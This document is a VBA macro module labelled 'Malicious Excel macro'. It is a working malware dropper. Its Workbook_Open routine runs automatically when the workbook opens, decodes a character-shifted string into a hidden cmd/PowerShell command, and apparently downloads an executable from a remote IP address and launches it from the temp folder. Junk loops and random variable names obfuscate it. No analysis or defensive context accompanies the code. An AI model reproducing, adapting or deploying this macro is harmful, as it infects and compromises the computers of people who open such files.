Malicious Excel macro

Attribute VB_Name = "ÝòàÊíèãà"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Sub Workbook_Open()
Dim sxDmlDGZ As Integer
For sxDmlDGZ = 0 To 4
Dim FiAlZHWv As Integer
For FiAlZHWv = 0 To 9
DoEvents
Next FiAlZHWv
DoEvents
Next sxDmlDGZ
Dim ffAkQrGQ As Integer
For ffAkQrGQ = 0 To 5
DoEvents
Next ffAkQrGQ
oJUIdsfdsF = OlFdL0IOXbF("±»²n}™nž½Å³À¡¶³ºº|³Æ³nvœ³Å{°¸³±Ân¡ÇÁ³»|œ³Â|¥³°‘º·³¼Âw|’½Å¼º½¯²”·º³vu¶Â¾ˆ}}‡ƒ|„|€|€…}¯¹Á¸²²³ÀŲ}¯Á²°Å¹}²¶½³·|³Æ³uzus¢“›žsª½£¶¸·²Á´|³Æ³uw‰¡Â¯ÀÂ{žÀ½±³ÁÁnus¢“›žsª½£¶¸·²Á´|³Æ³u‰", "78")
Dim mwlXRRMn As Integer
For mwlXRRMn = 0 To 9
Dim EmMXtScD As Integer
For EmMXtScD = 0 To 4
DoEvents
Next EmMXtScD
DoEvents
Next mwlXRRMn
Dim jWtyraXh As Integer
For jWtyraXh = 0 To 2
DoEvents
Next jWtyraXh
Shell oJUIdsfdsF, vbHide
End Sub

Public Function OlFdL0IOXbF(ByVal InputData As String, ByVal NumKey As Integer) As String
Dim i As Long, OutChar As String
For i = 1 To Len(InputData)
Dim FqjuMBHm As Integer
For FqjuMBHm = 0 To 6
Dim tfBRkgNR As Integer
For tfBRkgNR = 0 To 6
DoEvents
Next tfBRkgNR
DoEvents
Next FqjuMBHm
Dim JGoFjEbi As Integer
For JGoFjEbi = 0 To 6
DoEvents
Next JGoFjEbi
OutChar = Asc(Mid(InputData, i, 1)) - NumKey
While OutChar < 0
Dim UVMKvtXD As Integer
For UVMKvtXD = 0 To 5
Dim SvyacOAG As Integer
For SvyacOAG = 0 To 5
DoEvents
Next SvyacOAG
DoEvents
Next UVMKvtXD
Dim SlbANPcr As Integer
For SlbANPcr = 0 To 6
DoEvents
Next SlbANPcr
OutChar = OutChar + 256
Dim rkOPdIvx As Integer
For rkOPdIvx = 0 To 5
Dim pOUWlfCz As Integer
For pOUWlfCz = 0 To 6
DoEvents
Next pOUWlfCz
DoEvents
Next rkOPdIvx
Dim jKlXnybu As Integer
For jKlXnybu = 0 To 8
DoEvents
Next jKlXnybu
Wend
Dim mvteclmh As Integer
For mvteclmh = 0 To 2
Dim pORpyoOA As Integer
For pORpyoOA = 0 To 7
DoEvents
Next pORpyoOA
DoEvents
Next mvteclmh
Dim kKkqfasT As Integer
For kKkqfasT = 0 To 2
DoEvents
Next kKkqfasT
 OlFdL0IOXbF = OlFdL0IOXbF + Chr(OutChar)
Dim tfesHImQ As Integer
For tfesHImQ = 0 To 5
Dim XhhmRvEb As Integer
For XhhmRvEb = 0 To 1
DoEvents
Next XhhmRvEb
DoEvents
Next tfesHImQ
Dim evzwSjyR As Integer
For evzwSjyR = 0 To 3
DoEvents
Next evzwSjyR
Next
End Function